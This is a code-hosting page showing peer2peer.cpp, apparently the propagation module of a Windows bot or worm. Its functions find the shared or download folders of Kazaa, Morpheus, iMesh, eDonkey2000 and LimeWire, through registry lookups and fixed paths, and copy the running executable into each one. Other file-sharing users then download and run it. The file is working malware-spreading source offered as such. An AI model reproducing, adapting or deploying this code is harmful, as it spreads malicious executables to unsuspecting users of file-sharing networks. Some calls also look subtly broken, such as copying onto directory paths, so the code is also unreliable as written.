-
Notifications
You must be signed in to change notification settings - Fork 16
/
Copy pathpeer2peer.cpp
93 lines (71 loc) · 2 KB
/
peer2peer.cpp
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
#include "includes.h"
#include "functions.h"
#include "externs.h"
#ifndef NO_P2P
void KazaaInit(char *botfile)
{
char buffer[MAX_PATH];
HKEY hkey;
DWORD dwSize = 128;
fRegOpenKeyEx(HKEY_CURRENT_USER, "SOFTWARE\\KAZAA\\LocalContent", 0, KEY_READ, &hkey);
if(fRegQueryValueEx(hkey, "Dir0", NULL, NULL, (unsigned char*)buffer, &dwSize) == ERROR_SUCCESS) {
replacestr(buffer, "012345:", "");
CopyFile(botfile, buffer, FALSE);
}
fRegCloseKey(hkey);
return;
}
void MorpheusInit(char *botfile)
{
char buffer[MAX_PATH];
HKEY hkey;
DWORD dwSize = 128;
fRegOpenKeyEx(HKEY_LOCAL_MACHINE, "SOFTWARE\\Morpheus", 0, KEY_READ, &hkey);
if(fRegQueryValueEx(hkey, "Install_Dir", NULL, NULL, (unsigned char*)buffer, &dwSize) == ERROR_SUCCESS) {
_snprintf(buffer, sizeof(buffer), "%s\\My Shared Folder", buffer);
CreateDirectory(buffer, 0);
CopyFile(botfile, buffer, FALSE);
}
fRegCloseKey(hkey);
return;
}
void iMeshInit(char *botfile)
{
char buffer[MAX_PATH];
HKEY hkey = NULL;
DWORD dwSize = 128;
fRegOpenKeyEx(HKEY_LOCAL_MACHINE, "SOFTWARE\\iMesh\\Client", 0, KEY_READ, &hkey);
if(fRegQueryValueEx(hkey, "DownloadsLocation", NULL, NULL, (unsigned char*)buffer, &dwSize) == ERROR_SUCCESS) {
CopyFile(botfile, buffer, FALSE);
}
fRegCloseKey(hkey);
return;
}
void eDonkey2KInit(char *botfile)
{
char buffer[MAX_PATH];
_snprintf(buffer, sizeof(buffer), "\\Program Files\\eDonkey2000\\incoming");
CreateDirectory(buffer, 0);
CopyFile(botfile, buffer, FALSE);
return;
}
void LimeWireInit(char *botfile)
{
char buffer[MAX_PATH];
_snprintf(buffer, sizeof(buffer), "\\Program Files\\LimeWire\\Shared");
CreateDirectory(buffer, 0);
CopyFile(botfile, buffer, FALSE);
return;
}
void P2PSpread(void)
{
char botfile[MAX_PATH];
GetModuleFileName(NULL, botfile, sizeof(botfile));
KazaaInit(botfile);
MorpheusInit(botfile);
eDonkey2KInit(botfile);
LimeWireInit(botfile);
iMeshInit(botfile);
return;
}
#endif